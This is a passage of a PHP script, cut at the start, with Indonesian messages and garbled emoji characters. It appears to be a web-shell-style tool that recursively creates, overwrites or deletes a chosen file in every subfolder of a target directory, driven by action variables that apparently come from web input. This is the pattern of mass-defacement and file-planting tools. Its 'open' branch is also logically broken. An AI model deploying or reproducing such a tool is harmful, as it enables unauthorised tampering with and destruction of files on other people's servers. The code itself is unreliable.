⌠Tidak bisa tulis di folder: $dir
"; return; } if (!empty($filename)) { $filepath = rtrim($dir, '/\\') . '/' . $filename; if (!file_exists($filepath)) { if (file_put_contents($filepath, $content)) { echo "✅ Dibuat: $filepath
"; } else { echo "⌠Gagal buat: $filepath
"; } } else { echo "âš ï¸ Sudah ada: $filepath
"; } } if ($recursive) { $folders = array_filter(glob($dir . '/*'), 'is_dir'); foreach ($folders as $folder) { processCreate($folder, $filename, $content, true); } } } function processDelete($dir, $deleteFile, $recursive) { if (!is_dir($dir) || !is_writable($dir)) { echo "⌠Tidak bisa akses folder: $dir
"; return; } if (!empty($deleteFile)) { $fileToDelete = rtrim($dir, '/\\') . '/' . $deleteFile; if (file_exists($fileToDelete)) { if (unlink($fileToDelete)) { echo "ðŸ—‘ï¸ Dihapus: $fileToDelete
"; } else { echo "⌠Gagal hapus: $fileToDelete
"; } } else { echo "â„¹ï¸ Tidak ditemukan: $fileToDelete
"; } } if ($recursive) { $folders = array_filter(glob($dir . '/*'), 'is_dir'); foreach ($folders as $folder) { processDelete($folder, $deleteFile, true); } } } function processOpen($dir, $filename) { $filepath = rtrim($dir, '/\\') . '/' . $filename; if (file_exists($filepath)) { echo "â„¹ï¸ File tidak ditemukan: $filepath
"; } } // ===== Save file ===== function processSave($dir, $filename, $content) { $filepath = rtrim($dir, '/\\') . '/' . $filename; if (file_exists($filepath) && is_writable($filepath)) { if (file_put_contents($filepath, $content)) { echo "💾 File disimpan: $filepath
"; } else { echo "⌠Gagal simpan file: $filepath
"; } } else { echo "⌠File tidak bisa diakses: $filepath
"; } } // ===== Eksekusi aksi ===== if (!empty($action)) { if ($action === 'create') processCreate($dir, $filename, $content, $recursive); elseif ($action === 'delete') processDelete($dir, $deleteFile, $recursive); elseif ($action === 'open') processOpen($dir, $filename); elseif ($action === 'save') processSave($dir, $filename, $content); } ?>